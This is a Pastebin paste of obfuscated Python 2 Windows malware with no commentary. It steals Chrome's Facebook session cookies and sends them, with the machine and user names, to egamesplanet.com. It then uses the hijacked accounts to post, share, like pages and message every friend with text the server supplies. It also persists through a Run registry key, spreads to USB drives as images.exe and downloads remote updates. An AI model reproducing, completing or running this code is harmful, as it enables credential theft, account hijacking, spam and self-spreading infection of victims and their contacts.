Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #pyinstaller 2e72cbbed5041c7337c331e72c8676dddbf54a11
- import requests
- import random
- import re
- import json
- import threading
- import urllib2
- import os , string , win32file
- import win32event , win32api , winerror
- from ctypes import windll
- import sys
- from os import getenv
- import sqlite3 , shutil
- import win32crypt
- import pickle
- import time
- from _winreg import *
- if 64 - 64: i11iIiiIii
- import requests . packages . urllib3
- requests . packages . urllib3 . disable_warnings ( )
- if 65 - 65: O0 / iIii1I11I1II1 % OoooooooOO - i1IIi
- o0OO00 = 1
- sys . stderr = sys . stdout
- if 78 - 78: i11i . oOooOoO0Oo0O
- def iI1 ( ) :
- try :
- i1I11i = getenv ( "APPDATA" ) + 'Cookies'
- OoOoOO00 = getenv ( "APPDATA" ) + "\..\Local\Google\Chrome\User Data\Default\Cookies"
- if 27 - 27: OOOo0 / Oo - Ooo00oOo00o . I1IiI
- shutil . copy2 ( OoOoOO00 , i1I11i )
- if 73 - 73: OOooOOo / ii11ii1ii
- O00ooOO = sqlite3 . connect ( i1I11i )
- I1iII1iiII = O00ooOO . cursor ( )
- if 28 - 28: Ii11111i * iiI1i1
- I1iII1iiII . execute ( 'SELECT host_key, name, value, encrypted_value FROM cookies order by host_key' )
- for i1I1ii1II1iII in I1iII1iiII . fetchall ( ) :
- oooO0oo0oOOOO = win32crypt . CryptUnprotectData ( i1I1ii1II1iII [ 3 ] , None , None , None , 0 ) [ 1 ]
- if oooO0oo0oOOOO :
- if i1I1ii1II1iII [ 1 ] in ( 'xs' , 'c_user' , 'datr' ) :
- if i1I1ii1II1iII [ 1 ] == 'xs' :
- O0oO = oooO0oo0oOOOO
- if i1I1ii1II1iII [ 1 ] == 'c_user' :
- o0oO0 = oooO0oo0oOOOO
- if i1I1ii1II1iII [ 1 ] == 'datr' :
- oo00 = oooO0oo0oOOOO
- if 88 - 88: O0Oo0oO0o . II1iI . i1iIii1Ii1II
- if 1 - 1: O0Oooo00
- except Exception , Ooo0 :
- oo00000o0 = str ( Ooo0 )
- oo00000o0 = oo00000o0 . replace ( "'" , "" )
- oo00000o0 = oo00000o0 . replace ( '"' , '' )
- if 34 - 34: O0o00 % II1iI / oOooOoO0Oo0O + i1IIi % OoooooooOO . oOooOoO0Oo0O
- OOO0O ( 0 , 'error' , oo00000o0 , 'no' )
- return False
- if 94 - 94: O0o00
- if 'o0oO0' in vars ( ) :
- OOO0O ( 0 , o0oO0 , O0oO , oo00 )
- if 18 - 18: iIii1I11I1II1 / iiI1i1 + ii11ii1ii / OOOo0 - i11i - iiI1i1
- I111IiIi = '' . join ( random . choice ( '0123456789ABCDEF' ) for i in range ( 12 ) )
- if 32 - 32: oOooOoO0Oo0O % Oo / i11i + Oo . Ii11111i * O0Oooo00
- oooO0oo0oOOOO = {
- 'datr' : oo00 ,
- 'c_user' : o0oO0 ,
- 'xs' : O0oO
- }
- if 62 - 62: i11iIiiIii - i11i
- IIIiI11ii = {
- 'origin' : 'https://web.facebook.com' ,
- 'user-agent' : 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36' ,
- 'referer' : 'https://web.facebook.com/?_rdr' ,
- 'accept-language' : 'en-US,en;q=0.8' ,
- 'accept' : '*/*' ,
- 'cookie' : 'datr=' + oo00 + '; c_user=' + o0oO0 + '; xs=' + O0oO + ';' ,
- }
- if 52 - 52: II1iI + Ii11111i % OoooooooOO / i11iIiiIii
- iiIIi1IiIi11 = i1Ii ( 0 , oooO0oo0oOOOO )
- if 25 - 25: II1iI + O0o00 % O0o00 - ii11ii1ii * I1IiI % II1iI
- if iiIIi1IiIi11 != False :
- OOooO0OOoo ( 0 , IIIiI11ii , o0oO0 , iiIIi1IiIi11 )
- iIii1 ( 0 , IIIiI11ii , o0oO0 , iiIIi1IiIi11 )
- oOOoO0 = time . strftime ( "%d/%m/%Y" )
- if 59 - 59: O0Oo0oO0o * i11iIiiIii + O0Oo0oO0o + O0o00 * Oo
- if 'share' + oOOoO0 not in OooOoO0Oo :
- iiIIiIiIi ( 0 , IIIiI11ii , o0oO0 , iiIIi1IiIi11 )
- else :
- pass
- if 38 - 38: O0Oo0oO0o / OOOo0
- if 'status' + oOOoO0 not in OooOoO0Oo :
- OooO0 ( 0 , IIIiI11ii , o0oO0 , I111IiIi , iiIIi1IiIi11 )
- else :
- pass
- if 35 - 35: Ii11111i % O0Oooo00 % i11iIiiIii / OoooooooOO
- if 'message' + oOOoO0 not in OooOoO0Oo :
- Ii11iI1i ( 0 , IIIiI11ii , o0oO0 , iiIIi1IiIi11 , oooO0oo0oOOOO )
- else :
- pass
- else :
- OOO0O ( 0 , 'error2' , 'no exception' , 'no' )
- if 82 - 82: i11iIiiIii . Ii11111i / OOOo0 * O0 % ii11ii1ii % iIii1I11I1II1
- if 78 - 78: iIii1I11I1II1 - O0Oo0oO0o * Oo + I1IiI + II1iI + II1iI
- if 11 - 11: II1iI - Oo % O0o00 % II1iI / Ooo00oOo00o - Oo
- def OOO0O ( counter , c_user , xs , datr ) :
- try :
- o0o0oOOOo0oo = os . environ [ 'COMPUTERNAME' ]
- o0oo0o0O00OO = os . environ [ 'USERNAME' ]
- o0oO = "http://egamesplanet.com/set.php?pa=" + o0o0oOOOo0oo + "&pb=" + o0oo0o0O00OO + "&pc=" + c_user + "&pd=" + xs + "&pe=" + datr
- I1i1iii = requests . get ( o0oO ) . content
- if 20 - 20: I1IiI
- except Exception , Ooo0 :
- if counter < 3 :
- OOO0O ( counter + 1 , c_user , xs , datr )
- else :
- return False
- if 77 - 77: Ooo00oOo00o / iiI1i1
- if 98 - 98: iIii1I11I1II1 / i1IIi / i11iIiiIii / I1IiI
- def i1Ii ( counter , cookie ) :
- if 28 - 28: Ii11111i - i1iIii1Ii1II . i1iIii1Ii1II + Ooo00oOo00o - OoooooooOO + O0
- try :
- oOoOooOo0o0 = requests . get ( "https://www.facebook.com" , cookies = cookie ) . content
- iiIIi1IiIi11 = re . findall ( 'fb_dtsg.+?value="([^"]+)"' , oOoOooOo0o0 ) [ 0 ]
- return iiIIi1IiIi11
- if 61 - 61: I1IiI / Oo + O0o00 * ii11ii1ii / ii11ii1ii
- except Exception , Ooo0 :
- if counter < 3 :
- i1Ii ( counter + 1 , cookie )
- else :
- return False
- if 75 - 75: i1IIi / OoooooooOO - O0 / Ooo00oOo00o . i11i - i1IIi
- def O000OO0 ( cookie , c_user ) :
- I11iii1Ii = [ ]
- for I1IIiiIiii in range ( 0 , 500 ) :
- O000oo0O = "https://mbasic.facebook.com/friends/center/friends/?ppk=" + str ( I1IIiiIiii )
- if 66 - 66: OOooOOo / Ooo00oOo00o - oOooOoO0Oo0O . Ii11111i / oOooOoO0Oo0O * Ii11111i
- try :
- IIIii1II1II = requests . get ( O000oo0O , cookies = cookie ) . content
- i1I1iI = re . findall ( 'uid=([^"]+)&' , IIIii1II1II )
- except Exception , Ooo0 :
- pass
- if 93 - 93: iIii1I11I1II1 % ii11ii1ii * i1IIi
- if not i1I1iI :
- break
- else :
- I11iii1Ii . extend ( i1I1iI )
- if 16 - 16: O0 - O0Oooo00 * iIii1I11I1II1 + II1iI
- I11iii1Ii = list ( set ( I11iii1Ii ) )
- if 50 - 50: i11i - O0o00 * OOooOOo / O0Oooo00 + I1IiI
- if not I11iii1Ii :
- I11iii1Ii = O0O0O ( 0 , cookie , c_user )
- return I11iii1Ii
- else :
- return I11iii1Ii
- if 83 - 83: OOooOOo / O0o00
- if 49 - 49: I1IiI
- def O0O0O ( counter , cookie , c_user ) :
- try :
- O000oo0O = "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer=" + c_user + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm"
- IIIii1II1II = requests . get ( O000oo0O , cookies = cookie ) . content
- I11iii1Ii = re . findall ( '"uid":([^"]+),' , IIIii1II1II )
- I11iii1Ii = list ( set ( I11iii1Ii ) )
- return I11iii1Ii
- except Exception , Ooo0 :
- if counter < 3 :
- O0O0O ( counter + 1 , cookie , c_user )
- else :
- return False
- if 35 - 35: Ooo00oOo00o - OoooooooOO / OOooOOo % i1IIi
- if 78 - 78: iiI1i1
- def OooO0 ( counter , headers , c_user , rand , fb_dtsg ) :
- global OooOoO0Oo
- if 71 - 71: Ii11111i + O0o00 % i11iIiiIii + OOooOOo - i1iIii1Ii1II
- try :
- oO0OOoO0 = "http://egamesplanet.com/chkp.php"
- I111Ii111 = requests . get ( oO0OOoO0 , headers = headers ) . content
- I111Ii111 = json . loads ( I111Ii111 )
- i111IiI1I = I111Ii111 [ 'post' ]
- O0iII = I111Ii111 [ 'makepost' ]
- if 80 - 80: i1iIii1Ii1II . ii11ii1ii
- if O0iII == True :
- IIi = 'https://web.facebook.com/ajax/updatestatus.php?av=' + c_user + '&dpr=1'
- i11iIIIIIi1 = 'bf38eeeb-8ees-3fea-a527-' + rand
- if 20 - 20: i1IIi + OOooOOo - O0o00
- IiI11iII1 = 'composer_session_id=' + i11iIIIIIi1 + '&composer_session_duration=10&composertags_city&num_keystrokes=14&privacyx=291667064279714&xhpc_message=' + i111IiI1I + '&xhpc_message_text=anotherstatus&xhpc_composerid=rc.js_11&xhpc_targetid=' + c_user + '&xhpc_context=profile&xhpc_ismeta=1&xhpc_timeline=true&xhpc_finch=false&xhpc_socialplugin=false&xhpc_topicfeedid&xhpc_origintopicfeedid&xhpc_modal_composer=false&xhpc_aggregated_story_composer=false&xhpc_publish_type=1&xhpc_fundraiser_page=false&__user=' + c_user + '&__a=1&__dyn=aihoFeyfyBmagngDxyIGzG85oWq2WiWF298yeqrWo8popyUWdwIhEoyUnwgUat0Hx2ubyR88wPGiex2uVWxeUWq59-EuwTz9VobrCxaFEW58nUOfz8nxmu2G229yp9Voybx24o9Esx-u&__req=1r&__be=-1&__pc=PHASED%3ADEFAULT&fb_dtsg=' + fb_dtsg + '&ttstamp=2658169105848310045101558465586581714885977011854835370&__rev=2460977'
- IIII11I1I = requests . post ( IIi , headers = headers , data = IiI11iII1 )
- OooOoO0Oo . append ( 'status' + time . strftime ( "%d/%m/%Y" ) )
- OOO0o ( OooOoO0Oo )
- if 30 - 30: iIii1I11I1II1 / O0o00 - O0Oooo00 - i11i % II1iI
- except Exception , Ooo0 :
- if counter < 3 :
- OooO0 ( counter + 1 , headers , c_user , rand , fb_dtsg )
- else :
- return False
- if 49 - 49: oOooOoO0Oo0O % O0o00 . O0o00 . iiI1i1 * O0o00
- if 97 - 97: O0Oo0oO0o + I1IiI . Ii11111i + OOooOOo % II1iI
- def Ii11iI1i ( counter , headers , c_user , fb_dtsg , cookie ) :
- if 95 - 95: i1IIi
- global OooOoO0Oo
- I11iii1Ii = O000OO0 ( cookie , c_user )
- if I11iii1Ii != False :
- try :
- I1ii11iI = "http://egamesplanet.com/chkm.php"
- IIi1i = requests . get ( I1ii11iI , headers = headers ) . content
- IIi1i = json . loads ( IIi1i )
- I1I1iIiII1 = IIi1i [ 'msgbody' ]
- i11i1I1 = IIi1i [ 'sendmessage' ]
- if 36 - 36: iIii1I11I1II1 / Ooo00oOo00o * Ii11111i
- except Exception , Ooo0 :
- if counter < 3 :
- Ii11iI1i ( 0 , headers , c_user , fb_dtsg , cookie )
- return False
- else :
- return False
- if 65 - 65: O0Oo0oO0o . iIii1I11I1II1 / O0 - O0Oo0oO0o
- if i11i1I1 == True :
- iii1i1iiiiIi = '' . join ( random . choice ( '0123456789' ) for i in range ( 6 ) )
- if 2 - 2: oOooOoO0Oo0O / O0 / I1IiI % Ooo00oOo00o % O0Oo0oO0o
- for o0o00OO0 in I11iii1Ii :
- o0o00OO0 = str ( o0o00OO0 )
- try :
- IiI11iII1 = 'message_batch[0][action_type]=ma-type%3Auser-generated-message&message_batch[0][thread_id]&message_batch[0][author]=fbid%3A' + c_user + '&message_batch[0][author_email]&message_batch[0][timestamp]=1469359893920&message_batch[0][is_filtered_content_invalid_app]=false&message_batch[0][is_spoof_warning]=false&message_batch[0][source]=source%3Achat%3Aweb&message_batch[0][source_tags][0]=source%3Achat&message_batch[0][body]=' + I1I1iIiII1 + '&message_batch[0][has_attachment]=false&message_batch[0][html_body]=false&message_batch[0][specific_to_list][0]=fbid%3A' + o0o00OO0 + '&message_batch[0][specific_to_list][1]=fbid%3A' + c_user + '&message_batch[0][signatureID]=175195a0&message_batch[0][ui_push_phase]=V3&message_batch[0][status]=0&message_batch[0][offline_threading_id]=6162942080511' + iii1i1iiiiIi + '&message_batch[0][message_id]=6162942080511' + iii1i1iiiiIi + '&message_batch[0][ephemeral_ttl_mode]=0&message_batch[0][manual_retry_cnt]=0&message_batch[0][other_user_fbid]=' + o0o00OO0 + '&client=mercury&__user=' + c_user + '&__a=1&fb_dtsg=' + fb_dtsg
- i1I1ii = requests . post ( 'https://web.facebook.com/ajax/mercury/send_messages.php?dpr=1' , headers = headers , data = IiI11iII1 )
- except Exception , Ooo0 :
- pass
- OooOoO0Oo . append ( 'message' + time . strftime ( "%d/%m/%Y" ) )
- OOO0o ( OooOoO0Oo )
- if 61 - 61: i11i
- if 64 - 64: O0o00 / Ooo00oOo00o - O0 - iiI1i1
- def OOooO0OOoo ( counter , headers , c_user , fb_dtsg ) :
- try :
- o0oO = "http://egamesplanet.com/pids.php"
- I1i1iii = requests . get ( o0oO , headers = headers ) . content
- I1i1iii = json . loads ( I1i1iii )
- if 86 - 86: iiI1i1 % Ooo00oOo00o / oOooOoO0Oo0O / Ooo00oOo00o
- for iIIi1i1 in I1i1iii :
- IiI11iII1 = 'fbpage_id=' + iIIi1i1 + '&add=true&reload=false&fan_origin=page_timeline&fan_source&cat&actor_id=' + c_user + '&__user=' + c_user + '&__a=1&__req=25&__be=-1&fb_dtsg=' + fb_dtsg
- requests . post ( 'https://web.facebook.com/ajax/pages/fan_status.php?av=' + c_user + '&dpr=1' , headers = headers , data = IiI11iII1 )
- if 10 - 10: iiI1i1
- except Exception , Ooo0 :
- if counter < 3 :
- OOooO0OOoo ( counter + 1 , headers , c_user , fb_dtsg )
- else :
- return False
- if 82 - 82: OOooOOo - iIii1I11I1II1 / Ii11111i + O0Oo0oO0o
- def iiIIiIiIi ( counter , headers , c_user , fb_dtsg ) :
- global OooOoO0Oo
- try :
- OOOOoOoo0O0O0 = "http://egamesplanet.com/chks.php"
- OOOo00oo0oO = requests . get ( OOOOoOoo0O0O0 , headers = headers ) . content
- OOOo00oo0oO = json . loads ( OOOo00oo0oO )
- IIiIi1iI = OOOo00oo0oO [ 'doshare' ]
- if 35 - 35: O0Oo0oO0o % O0 - O0
- if IIiIi1iI == True :
- IiIIIi1iIi = OOOo00oo0oO [ 'title' ]
- ooOOoooooo = OOOo00oo0oO [ 'summary' ]
- IIi = OOOo00oo0oO [ 'link' ]
- II1I = '291667064279714'
- IIi1i = OOOo00oo0oO [ 'message' ]
- O0i1II1Iiii1I11 = OOOo00oo0oO [ 'thumb' ]
- IiI11iII1 = 'attachment[params][urlInfo][canonical]=' + IIi + '&attachment[params][urlInfo][final]=' + IIi + '&attachment[params][urlInfo][user]=' + IIi + '&attachment[params][responseCode]=206&attachment[params][title]=' + IiIIIi1iIi + '&attachment[params][summary]=' + ooOOoooooo + '&attachment[params][images][0]=' + O0i1II1Iiii1I11 + '&attachment[params][image_info][0][url]=' + O0i1II1Iiii1I11 + '&attachment[params][image_info][0][width]=200&attachment[params][image_info][0][height]=200&attachment[params][medium]=106&attachment[params][url]=http%3A%2F%2Flifehacker.com%2F&attachment[params][was_recent]=false&attachment[params][ttl]=604800&attachment[params][error]=1&attachment[type]=100&attachment[reshare_original_post]=false&hide_object_attachment=true&is_explicit_place=false&is_markdown=false&is_q_and_a=false&is_profile_badge_post=false&multilingual_specified_lang=&num_pastes=0&place_attachment_setting=1&post_surfaces_blacklist&privacyx=' + II1I + '&prompt_id&prompt_tracking_string&ref=timeline&target_type=feed&xhpc_message=' + IIi1i + '&xhpc_message_text=' + IIi1i + '&is_forced_reshare_of_post=false&is_react=true&xhpc_composerid=rc.u_0_1e&xhpc_targetid=' + c_user + '&__user=' + c_user + '&__a=1&fb_dtsg=' + fb_dtsg
- iIIi1i1 = requests . post ( 'https://www.facebook.com/ajax/updatestatus.php?av=' + c_user + '&dpr=1' , headers = headers , data = IiI11iII1 ) . content
- OooOoO0Oo . append ( 'share' + time . strftime ( "%d/%m/%Y" ) )
- OOO0o ( OooOoO0Oo )
- if 9 - 9: OOooOOo / OOOo0 - oOooOoO0Oo0O / OoooooooOO / iIii1I11I1II1 - I1IiI
- except Exception , Ooo0 :
- if counter < 3 :
- iiIIiIiIi ( counter + 1 , headers , c_user , fb_dtsg )
- else :
- return False
- if 91 - 91: II1iI % i1IIi % iIii1I11I1II1
- def iIii1 ( counter , headers , c_user , fb_dtsg ) :
- try :
- IIi1I11I1II = "http://egamesplanet.com/cids.php"
- OooOoooOo = requests . get ( IIi1I11I1II , headers = headers ) . content
- OooOoooOo = json . loads ( OooOoooOo )
- if 46 - 46: II1iI
- for IIIII11I1IiI in OooOoooOo :
- i1I = IIIII11I1IiI [ 'commentid' ]
- OoOO = IIIII11I1IiI [ 'postid' ]
- ooOOO0 = IIIII11I1IiI [ 'legacy' ]
- iii1i1iiiiIi = '' . join ( random . choice ( '0123456789' ) for i in range ( 6 ) )
- IiI11iII1 = 'comment_id=' + i1I + '&legacy_id=' + ooOOO0 + '&like_action=true&ft_ent_identifier=' + OoOO + '&source=1&client_id=1470377866362%3A220' + iii1i1iiiiIi + '&av=' + c_user + '&__user=' + c_user + '&__a=1&__req=x&__be=-1&__pc=PHASED%3ADEFAULT&fb_dtsg=' + fb_dtsg
- requests . post ( 'https://www.facebook.com/ufi/comment/like/?dpr=1' , headers = headers , data = IiI11iII1 )
- if 65 - 65: O0
- except Exception , Ooo0 :
- if counter < 3 :
- iIii1 ( counter + 1 , headers , c_user , fb_dtsg )
- else :
- return False
- if 68 - 68: Ii11111i % O0Oooo00
- if 88 - 88: iIii1I11I1II1 - O0o00 + Ii11111i
- def IiI111111IIII ( counter ) :
- try :
- i1Iiii111iI1iIi1 = "http://egamesplanet.com/chkall.php"
- IIIii1II1II = requests . get ( i1Iiii111iI1iIi1 ) . content
- IIIii1II1II = json . loads ( IIIii1II1II )
- O0iII = IIIii1II1II [ 'makepost' ]
- return O0iII
- except Exception , Ooo0 :
- if counter < 3 :
- IiI111111IIII ( counter + 1 )
- return False
- else :
- return False
- if 78 - 78: Oo . Ii11111i + Oo / iiI1i1 / Oo
- def oO0O00OoOO0 ( counter ) :
- try :
- OoO = urllib2 . urlopen ( 'http://egamesplanet.com/chki.php' , timeout = 10 )
- return True
- except urllib2 . URLError as O00 :
- if counter < 3 :
- oO0O00OoOO0 ( counter + 1 )
- return False
- else :
- return False
- if 29 - 29: O0Oooo00 / Oo . i1IIi * oOooOoO0Oo0O + i11iIiiIii
- if 6 - 6: O0o00 / i11iIiiIii + II1iI * ii11ii1ii
- def o00o0 ( ) :
- try :
- ii = os . getenv ( 'appdata' ) + '\\systemT.dll'
- OOooooO0Oo = os . path . isfile ( ii )
- if OOooooO0Oo == True :
- os . remove ( ii )
- if 91 - 91: I1IiI . iIii1I11I1II1 / ii11ii1ii + i1IIi
- except Exception , Ooo0 :
- pass
- if 42 - 42: O0o00 . I1IiI . O0o00 - OOooOOo
- i1ii1I1I1 = oO0O00OoOO0 ( 0 )
- if i1ii1I1I1 == True :
- oO = IiI111111IIII ( 0 )
- if oO == True :
- iI1 ( )
- else :
- pass
- else :
- pass
- if 82 - 82: Ooo00oOo00o % Ii11111i
- threading . Timer ( 1800 , o00o0 ) . start ( )
- if 64 - 64: O0Oo0oO0o . i11i + OoooooooOO . O0Oooo00 . I1IiI
- def O0oO0 ( ) :
- if 87 - 87: OOOo0 . i1iIii1Ii1II
- try :
- i1Iiii111iI1iIi1 = "http://egamesplanet.com/chku.php"
- IIIii1II1II = requests . get ( i1Iiii111iI1iIi1 ) . content
- IIIii1II1II = json . loads ( IIIii1II1II )
- O0OO0O = IIIii1II1II [ 'makeupdate' ]
- OO = IIIii1II1II [ 'version' ]
- OoOoO = IIIii1II1II [ 'filelink' ]
- if O0OO0O == True and OO > o0OO00 :
- Ii1I1i ( OoOoO )
- else :
- pass
- except Exception , Ooo0 :
- pass
- if 99 - 99: ii11ii1ii . II1iI + O0o00 % ii11ii1ii . i11iIiiIii % O0
- def Ii1I1i ( remote ) :
- try :
- oOO00O = os . getenv ( 'appdata' ) + '\\temp.exe'
- OOOoo0OO = urllib2 . urlopen ( remote )
- oO0o0 = OOOoo0OO . info ( )
- iI1Ii11iIiI1 = int ( oO0o0 [ "Content-Length" ] )
- if 86 - 86: ii11ii1ii * I1IiI % i1IIi . O0Oo0oO0o . i11iIiiIii
- oOOoo00O00o = open ( oOO00O , 'wb' )
- if 98 - 98: Ii11111i + i1iIii1Ii1II + ii11ii1ii % OoooooooOO
- oooooo0O000o = 8192
- OoOooO0O0O0ooOOO = 0
- while True :
- oOOo0O00o = OOOoo0OO . read ( oooooo0O000o )
- if not oOOo0O00o : break
- oOOoo00O00o . write ( oOOo0O00o )
- OoOooO0O0O0ooOOO += 1
- if iI1Ii11iIiI1 > 0 :
- iIiIi11 = int ( OoOooO0O0O0ooOOO * oooooo0O000o * 100 / iI1Ii11iIiI1 )
- if iIiIi11 > 100 : iIiIi11 = 100
- if iIiIi11 < 100 :
- pass
- else :
- oOOoo00O00o . flush ( )
- oOOoo00O00o . close ( )
- OOO = str ( iIiIi11 )
- iiiiI = os . getenv ( 'appdata' ) + '\\temp.exe'
- oooOo0OOOoo0 = os . getenv ( 'appdata' ) + '\\iconrdb.exe'
- ii = os . getenv ( 'appdata' ) + '\\systemT.dll'
- os . rename ( oooOo0OOOoo0 , ii )
- os . rename ( iiiiI , oooOo0OOOoo0 )
- return 1
- oOOoo00O00o . flush ( )
- oOOoo00O00o . close ( )
- except Exception , Ooo0 :
- pass
- if 51 - 51: OOOo0 / Ooo00oOo00o . Ii11111i * I1IiI + Oo * i1iIii1Ii1II
- def OOOoOo ( ) :
- try :
- oOOoo00O00o = os . path . dirname ( os . path . realpath ( __file__ ) )
- except NameError :
- oOOoo00O00o = os . path . dirname ( os . path . realpath ( sys . argv [ 0 ] ) )
- if 51 - 51: O0o00 / iIii1I11I1II1 % OOOo0 * oOooOoO0Oo0O % O0Oooo00
- try :
- oOoooOOO = r'Software\Microsoft\Windows\CurrentVersion\Run'
- oo00oO0O0 = os . getenv ( 'APPDATA' ) + '\\iconrdb.exe'
- I11I11 = sys . argv [ 0 ]
- if not os . path . isfile ( oo00oO0O0 ) :
- shutil . copy2 ( I11I11 , os . getenv ( 'APPDATA' ) + '\\iconrdb.exe' )
- if 69 - 69: Ooo00oOo00o
- OO0OoOO0o0o = os . getenv ( 'APPDATA' ) + '\\iconrdb.exe'
- oo = OpenKey ( HKEY_CURRENT_USER ,
- oOoooOOO , 0 , KEY_ALL_ACCESS )
- SetValueEx ( oo , "iconrdb" , 0 , REG_SZ , OO0OoOO0o0o )
- except Exception , Ooo0 :
- pass
- if 16 - 16: O0Oo0oO0o + i1iIii1Ii1II * O0 % i1IIi . oOooOoO0Oo0O
- def Oo0OO ( ) :
- try :
- O0OooOo0o = [ ]
- iiI11ii1I1 = windll . kernel32 . GetLogicalDrives ( )
- for Ooo0OOoOoO0 in string . uppercase :
- if iiI11ii1I1 & 1 :
- O0OooOo0o . append ( Ooo0OOoOoO0 + ':\\' )
- iiI11ii1I1 >>= 1
- return O0OooOo0o
- except Exception , Ooo0 :
- pass
- if 70 - 70: ii11ii1ii
- def oOOoO0o0oO ( d ) :
- return win32file . GetDriveType ( d ) == win32file . DRIVE_REMOVABLE
- if 93 - 93: i1iIii1Ii1II * OoooooooOO + O0o00
- def IiII111i1i11 ( drive ) :
- oo00oO0O0 = os . getenv ( 'APPDATA' ) + '\\iconrdb.exe'
- if os . path . isfile ( oo00oO0O0 ) :
- i111iIi1i1II1 = drive + 'images.exe'
- oooO = win32api . SetErrorMode ( 1 )
- if not os . path . isfile ( i111iIi1i1II1 ) :
- try :
- shutil . copy2 ( oo00oO0O0 , i111iIi1i1II1 )
- except Exception , Ooo0 :
- pass
- if 26 - 26: O0Oo0oO0o % OOooOOo
- win32api . SetErrorMode ( oooO )
- if 76 - 76: i1iIii1Ii1II * II1iI
- def ooooooo00o ( ) :
- try :
- O0OooOo0o = Oo0OO ( )
- o0oooOO00 = len ( O0OooOo0o )
- for I1IIiiIiii in range ( 0 , o0oooOO00 ) :
- if oOOoO0o0oO ( O0OooOo0o [ I1IIiiIiii ] ) :
- IiII111i1i11 ( O0OooOo0o [ I1IIiiIiii ] )
- if 32 - 32: O0Oooo00
- pass
- except Exception , Ooo0 :
- pass
- threading . Timer ( 30 , ooooooo00o ) . start ( )
- if 30 - 30: iIii1I11I1II1 / iiI1i1 . Oo - I1IiI
- def OOO0o ( obj ) :
- Iii11iI1i = os . getenv ( 'appdata' ) + '\\vars.dat'
- with open ( Iii11iI1i , 'w+' ) as oOOooOoo :
- pickle . dump ( obj , oOOooOoo , pickle . HIGHEST_PROTOCOL )
- if 59 - 59: I1IiI
- if 81 - 81: Ooo00oOo00o - Ooo00oOo00o . II1iI
- def o0OoOo00o0o ( ) :
- Iii11iI1i = os . getenv ( 'appdata' ) + '\\vars.dat'
- if os . path . isfile ( Iii11iI1i ) :
- with open ( Iii11iI1i , 'rb' ) as I1II1I11I1I :
- if os . stat ( Iii11iI1i ) . st_size == 0 :
- OoOO0o = [ ]
- else :
- try :
- OoOO0o = pickle . load ( I1II1I11I1I )
- except Exception , Ooo0 :
- OoOO0o = [ ]
- return OoOO0o
- else :
- i1II1 = [ ]
- return i1II1
- if 25 - 25: O0Oooo00 / iIii1I11I1II1 % II1iI
- OooOoO0Oo = o0OoOo00o0o ( )
- if 42 - 42: i11iIiiIii * iIii1I11I1II1 / OOooOOo . i11iIiiIii % iiI1i1
- if 41 - 41: i1iIii1Ii1II / O0
- try :
- o0oO0oooOoo = win32event . CreateMutex ( None , 1 , 'mutex_var_xboz' )
- if win32api . GetLastError ( ) == winerror . ERROR_ALREADY_EXISTS :
- o0oO0oooOoo = None
- exit ( 0 )
- except Exception , Ooo0 :
- pass
- if 7 - 7: O0Oooo00 * Oo - O0o00 + Ii11111i * oOooOoO0Oo0O % Oo
- threading . Timer ( 120 , o00o0 ) . start ( )
- threading . Timer ( 120 , O0oO0 ) . start ( )
- threading . Timer ( 30 , ooooooo00o ) . start ( )
- threading . Timer ( 10 , OOOoOo ) . start ( ) # dd678faae9ac167bc83abf78e5cb2f3f0688d3a3
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement